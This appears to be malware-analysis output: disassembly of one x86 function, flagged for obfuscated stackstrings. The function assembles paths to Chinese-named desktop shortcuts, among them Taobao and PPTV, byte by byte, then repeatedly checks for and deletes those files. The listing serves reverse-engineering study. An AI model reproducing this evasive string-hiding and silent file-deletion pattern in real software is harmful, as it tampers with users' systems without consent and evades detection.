Function at 0x407b10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x618
push ebx
push esi
push edi
mov dl, 0x4c
mov bl, 0x5c
mov ecx, 0x38
xor eax, eax
lea edi, [esp + 0x2e]
mov byte [esp + 0xc], 0x25
mov byte [esp + 0xd], 0x41
mov byte [esp + 0xe], dl
mov byte [esp + 0xf], dl
mov byte [esp + 0x10], 0x55
mov byte [esp + 0x11], 0x53
mov byte [esp + 0x12], 0x45
mov byte [esp + 0x13], 0x52
mov byte [esp + 0x14], 0x53
mov byte [esp + 0x15], 0x50
mov byte [esp + 0x16], 0x52
mov byte [esp + 0x17], 0x4f
mov byte [esp + 0x18], 0x46
mov byte [esp + 0x19], 0x49
mov byte [esp + 0x1a], dl
mov byte [esp + 0x1b], 0x45
mov byte [esp + 0x1c], 0x25
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0xd7
mov byte [esp + 0x1f], 0xc0
mov byte [esp + 0x20], 0xc3
mov byte [esp + 0x21], 0xe6
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0xcc
mov byte [esp + 0x24], 0xd4
mov byte [esp + 0x25], 0xb1
mov byte [esp + 0x26], 0xa6
mov byte [esp + 0x27], 0xcd
mov byte [esp + 0x28], 0xf8
mov byte [esp + 0x29], 0x2e
mov byte [esp + 0x2a], 0x6c
mov byte [esp + 0x2b], 0x6e
mov byte [esp + 0x2c], 0x6b
mov byte [esp + 0x2d], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov byte [esp + 0x110], 0x25
mov byte [esp + 0x111], 0x41
mov byte [esp + 0x112], dl
mov byte [esp + 0x113], dl
mov byte [esp + 0x114], 0x55
mov byte [esp + 0x115], 0x53
mov byte [esp + 0x116], 0x45
mov byte [esp + 0x117], 0x52
mov byte [esp + 0x118], 0x53
mov byte [esp + 0x119], 0x50
mov byte [esp + 0x11a], 0x52
mov byte [esp + 0x11b], 0x4f
mov byte [esp + 0x11c], 0x46
mov byte [esp + 0x11d], 0x49
mov byte [esp + 0x11e], dl
mov byte [esp + 0x11f], 0x45
mov byte [esp + 0x120], 0x25
mov byte [esp + 0x121], bl
mov byte [esp + 0x122], 0xd7
mov byte [esp + 0x123], 0xc0
mov byte [esp + 0x124], 0xc3
mov byte [esp + 0x125], 0xe6
mov byte [esp + 0x126], bl
mov byte [esp + 0x127], 0xd4
mov byte [esp + 0x128], 0xc6
mov byte [esp + 0x129], 0xb6
mov byte [esp + 0x12a], 0xcb
mov byte [esp + 0x12b], 0x20
mov byte [esp + 0x12c], 0xd3
mov byte [esp + 0x12d], 0xce
mov byte [esp + 0x12e], 0xcf
mov byte [esp + 0x12f], 0xb7
mov byte [esp + 0x130], 0xb5
mov byte [esp + 0x131], 0xe7
mov byte [esp + 0x132], 0xd3
mov byte [esp + 0x133], 0xb0
mov al, 0xd2
mov byte [esp + 0x134], al
mov byte [esp + 0x139], al
mov ecx, 0x33
xor eax, eax
lea edi, [esp + 0x146]
mov byte [esp + 0x135], 0xf4
mov byte [esp + 0x136], 0xc0
mov byte [esp + 0x137], 0xd6
mov byte [esp + 0x138], 0x20
mov byte [esp + 0x13a], 0xbb
mov byte [esp + 0x13b], 0xcd
mov byte [esp + 0x13c], 0xf8
mov byte [esp + 0x13d], 0xb4
mov byte [esp + 0x13e], 0xf2
mov byte [esp + 0x13f], 0xbe
mov byte [esp + 0x140], 0xa1
mov byte [esp + 0x141], 0x2e
mov byte [esp + 0x142], 0x6c
mov byte [esp + 0x143], 0x6e
mov byte [esp + 0x144], 0x6b
mov byte [esp + 0x145], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x38
xor eax, eax
lea edi, [esp + 0x238]
mov byte [esp + 0x214], 0x25
mov byte [esp + 0x215], 0x41
mov byte [esp + 0x216], dl
mov byte [esp + 0x217], dl
mov byte [esp + 0x218], 0x55
mov byte [esp + 0x219], 0x53
mov byte [esp + 0x21a], 0x45
mov byte [esp + 0x21b], 0x52
mov byte [esp + 0x21c], 0x53
mov byte [esp + 0x21d], 0x50
mov byte [esp + 0x21e], 0x52
mov byte [esp + 0x21f], 0x4f
mov byte [esp + 0x220], 0x46
mov byte [esp + 0x221], 0x49
mov byte [esp + 0x222], dl
mov byte [esp + 0x223], 0x45
mov byte [esp + 0x224], 0x25
mov byte [esp + 0x225], bl
mov byte [esp + 0x226], 0xd7
mov byte [esp + 0x227], 0xc0
mov byte [esp + 0x228], 0xc3
mov byte [esp + 0x229], 0xe6
mov byte [esp + 0x22a], bl
mov byte [esp + 0x22b], 0xcc
mov byte [esp + 0x22c], 0xd4
mov byte [esp + 0x22d], 0xb1
mov byte [esp + 0x22e], 0xa6
mov byte [esp + 0x22f], 0xb5
mov byte [esp + 0x230], 0xbc
mov byte [esp + 0x231], 0xba
mov byte [esp + 0x232], 0xbd
mov byte [esp + 0x233], 0x2e
mov byte [esp + 0x234], 0x6c
mov byte [esp + 0x235], 0x6e
mov byte [esp + 0x236], 0x6b
mov byte [esp + 0x237], 0
rep stosd dword es:[edi], eax
mov byte [esp + 0x318], 0x25
mov byte [esp + 0x319], 0x41
mov byte [esp + 0x31a], dl
mov byte [esp + 0x31b], dl
mov byte [esp + 0x31c], 0x55
mov byte [esp + 0x31d], 0x53
mov byte [esp + 0x31e], 0x45
mov byte [esp + 0x31f], 0x52
mov byte [esp + 0x320], 0x53
mov byte [esp + 0x321], 0x50
mov byte [esp + 0x322], 0x52
mov byte [esp + 0x323], 0x4f
mov byte [esp + 0x324], 0x46
mov byte [esp + 0x325], 0x49
mov byte [esp + 0x326], dl
mov byte [esp + 0x327], 0x45
mov byte [esp + 0x328], 0x25
mov byte [esp + 0x329], bl
mov ecx, 0x36
lea edi, [esp + 0x341]
mov byte [esp + 0x32a], 0xd7
mov byte [esp + 0x32b], 0xc0
mov byte [esp + 0x32c], 0xc3
mov byte [esp + 0x32d], 0xe6
mov byte [esp + 0x32e], bl
mov byte [esp + 0x32f], 0x50
mov byte [esp + 0x330], 0x50
mov byte [esp + 0x331], 0x54
mov byte [esp + 0x332], 0x56
mov byte [esp + 0x333], 0x20
mov byte [esp + 0x334], 0xcd
mov byte [esp + 0x335], 0xf8
mov byte [esp + 0x336], 0xc2
mov byte [esp + 0x337], 0xe7
mov byte [esp + 0x338], 0xb5
mov byte [esp + 0x339], 0xe7
mov byte [esp + 0x33a], 0xca
mov byte [esp + 0x33b], 0xd3
mov byte [esp + 0x33c], 0x2e
mov byte [esp + 0x33d], 0x6c
mov byte [esp + 0x33e], 0x6e
mov byte [esp + 0x33f], 0x6b
mov byte [esp + 0x340], al
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x37
xor eax, eax
lea edi, [esp + 0x444]
mov byte [esp + 0x41c], 0x25
mov byte [esp + 0x41d], 0x41
mov byte [esp + 0x41e], dl
mov byte [esp + 0x41f], dl
mov byte [esp + 0x420], 0x55
mov byte [esp + 0x421], 0x53
mov byte [esp + 0x422], 0x45
mov byte [esp + 0x423], 0x52
mov byte [esp + 0x424], 0x53
mov byte [esp + 0x425], 0x50
mov byte [esp + 0x426], 0x52
mov byte [esp + 0x427], 0x4f
mov byte [esp + 0x428], 0x46
mov byte [esp + 0x429], 0x49
mov byte [esp + 0x42a], dl
mov byte [esp + 0x42b], 0x45
mov byte [esp + 0x42c], 0x25
mov byte [esp + 0x42d], bl
mov byte [esp + 0x42e], 0xd7
mov byte [esp + 0x42f], 0xc0
mov byte [esp + 0x430], 0xc3
mov byte [esp + 0x431], 0xe6
mov byte [esp + 0x432], bl
mov byte [esp + 0x433], 0x50
mov byte [esp + 0x434], 0x50
mov byte [esp + 0x435], 0x54
mov byte [esp + 0x436], 0x56
mov byte [esp + 0x437], 0xd4
mov byte [esp + 0x438], 0xda
mov byte [esp + 0x439], 0xcf
mov byte [esp + 0x43a], 0xdf
mov byte [esp + 0x43b], 0xd3
mov byte [esp + 0x43c], 0xb0
mov byte [esp + 0x43d], 0xca
mov byte [esp + 0x43e], 0xd3
mov byte [esp + 0x43f], 0x2e
mov byte [esp + 0x440], 0x6c
mov byte [esp + 0x441], 0x6e
mov byte [esp + 0x442], 0x6b
mov byte [esp + 0x443], 0
mov byte [esp + 0x520], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x521]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea esi, [esp + 0xc]
mov ebx, 5
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x520]
push 0x104
rep stosd dword es:[edi], eax
mov ecx, dword [0x41066c]
lea eax, [esp + 0x524]
push eax
push esi
call dword [ecx + 0x11c]
mov edx, dword [0x41066c]
push 0x12c
call dword [edx + 0x104]
mov ecx, dword [0x41066c]
lea eax, [esp + 0x520]
push eax
call dword [ecx + 0x120]
cmp eax, 0xffffffff
je 0x4081df
mov eax, dword [0x41066c]
lea edx, [esp + 0x520]
push edx
call dword [eax + 0xa4]
add esi, 0x104
dec ebx
jne 0x408178
jmp 0x40816f